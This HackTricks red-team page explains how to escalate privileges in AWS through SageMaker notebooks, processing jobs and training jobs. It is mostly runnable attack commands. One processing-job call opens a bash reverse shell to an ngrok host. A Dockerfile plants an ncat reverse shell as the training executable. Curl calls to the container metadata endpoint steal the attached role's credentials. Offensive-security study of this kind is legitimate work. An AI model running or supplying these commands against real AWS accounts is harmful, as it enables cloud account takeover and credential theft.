AWS - Sagemaker Privesc

AWS - Sagemaker Privesc

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Start creating a noteboook with the IAM Role to access attached to it:

aws sagemaker create-notebook-instance --notebook-instance-name example \
    --instance-type ml.t2.medium \
    --role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

The response should contain a NotebookInstanceArn field, which will contain the ARN of the newly created notebook instance. We can then use the create-presigned-notebook-instance-url API to generate a URL that we can use to access the notebook instance once it's ready:

aws sagemaker create-presigned-notebook-instance-url \
    --notebook-instance-name <name>

Navigate to the URL with the browser and click on `Open JupyterLab`` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button.

Now It's possible to access the metadata credentials of the IAM Role.

Potential Impact: Privesc to the sagemaker service role specified.

sagemaker:CreatePresignedNotebookInstanceUrl

If there are Jupyter notebooks are already running on it and you can list them with sagemaker:ListNotebookInstances (or discover them in any other way). You can generate a URL for them, access them, and steal the credentials as indicated in the previous technique.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potential Impact: Privesc to the sagemaker service role attached.

sagemaker:CreateProcessingJob,iam:PassRole

An attacker with those permissions can make sagemaker execute a processingjob with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an AWS managed ECS account instance, and steal the credentials of the IAM role attached.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
    --processing-job-name privescjob \
    --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
    --app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
    --role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Potential Impact: Privesc to the sagemaker service role specified.

sagemaker:CreateTrainingJob, iam:PassRole

An attacker with those permissions will be able to create a training job, running an arbitrary container on it with a role attached to it. Therefore, the attcke will be able to steal the credentials of the role.

This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
    --training-job-name privescjob \
    --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
    --algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
    --role-arn <role-arn> \
    --output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
    --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

Potential Impact: Privesc to the sagemaker service role specified.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

An attacker with those permissions will (potentially) be able to create an hyperparameter training job, running an arbitrary container on it with a role attached to it. I haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details.

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated